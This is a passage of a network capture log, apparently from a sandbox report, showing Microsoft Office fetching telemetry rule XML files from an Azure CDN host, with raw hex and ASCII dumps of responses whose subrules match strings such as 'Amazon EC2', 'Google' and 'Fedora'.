<TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:11 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:11 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 45d643d4-001e-0066-6189-38561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162411Z-16547b76f7f2b5qzhC1DFWeag4000000049g000000007sgu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 16:24:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:11 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:11 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162411Z-16547b76f7ftnm6xhC1DFW9c8c00000005s00000000012hx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:11 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:12 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:12 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:12 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162412Z-16547b76f7ftnm6xhC1DFW9c8c00000005m000000000nd0a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:12 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:12 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:12 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162412Z-1866b5c5fbbqmbqjhC1DFWwgvc00000005p0000000004hs9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:12 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:12 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:12 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 373f0e0b-901e-008f-80b0-3767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162412Z-1866b5c5fbbxjblthC1DFW6b48000000041g000000006eun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:12 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:12 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:12 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162412Z-1866b5c5fbbvz6qbhC1DFWsyms000000055000000000m495 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:12 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:12 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:12 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162412Z-16547b76f7fwm7vghC1DFW900s00000003mg00000000g2zk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:12 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:13 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:13 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162413Z-16547b76f7fjx5nrhC1DFW4dsc000000037g00000000arrg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:13 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:13 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162413Z-16547b76f7fgvq8chC1DFWhd2w00000006k000000000m9wq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:13 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:13 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162413Z-1866b5c5fbb2t6txhC1DFWa2qc0000000620000000009bnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:13 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:13 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:13 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 885b02a2-801e-0035-1509-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162413Z-16547b76f7fm8pcwhC1DFWaxcc000000041000000000uyb1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:13 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:13 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162413Z-1866b5c5fbb5hnj5hC1DFW18sc000000065000000000hgyn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 